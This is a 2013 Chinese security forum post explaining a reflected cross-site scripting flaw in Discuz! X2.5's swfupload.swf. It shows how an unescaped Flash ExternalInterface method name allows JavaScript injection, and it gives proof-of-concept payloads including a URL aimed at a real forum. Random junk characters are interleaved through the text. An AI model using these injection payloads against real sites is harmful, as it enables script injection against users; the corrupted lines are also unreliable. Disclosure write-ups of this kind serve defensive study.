找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1864|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
1 ^! S) N, w1 S" D: B5 `3 D9 g2 y/ M" r
flash.external.ExternalInterface.call($methodName, $parameter)( H) \" [6 H. R
在浏览器中执行的是# j- g$ O* O7 {: T% U1 P$ v% n

  Y& g1 l8 W4 L5 W- Ktry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}* H6 z% _2 [0 C6 Y8 I' I& h9 e
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如% g0 v6 b, z* D) w: Y

2 H- N$ `7 x8 y0 ~& D. Eflash.external.ExternalInterface.call("object."+$methodName, $parameter)5 A7 {* a6 v* Z2 O% U
$methodName = a())}catch(e){alert(/xss/)}//
6 C6 o" n& X. i+ e2 l5 E结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
& o5 i/ j; M, l6 \% w+ ?4 r4 G$ j" O- b
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
$ x4 r. Z$ O2 a7 ]5 s4 t$ n. u: I4 F2 _4 N" t) M8 L
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
- K' S6 V- x1 O* A7 U/ a8 f杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。8 q$ Q4 r9 _7 C/ e3 S8 @+ R* y! s
( |' u% E) x! u; _

, B" B- `5 |* l5 Z8 L1 A" Y2 h6 j0 W3 Q$ r% _
漏洞文件:upload\static\image\common\swfupload.swf" a1 h9 s6 c: q* S3 }$ e
3 E; ?, W6 W1 H
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf6 F0 g! M' t. H6 h2 X# o8 q

2 Z9 k& d8 r$ m% ^. Z, u7 Q# J2 J5 z9 L
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
1 `6 U. Y. \0 Q8 `* w3 }$ @3 x6 r

0 c; [# W7 R! p9 N- k& T# T3 b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表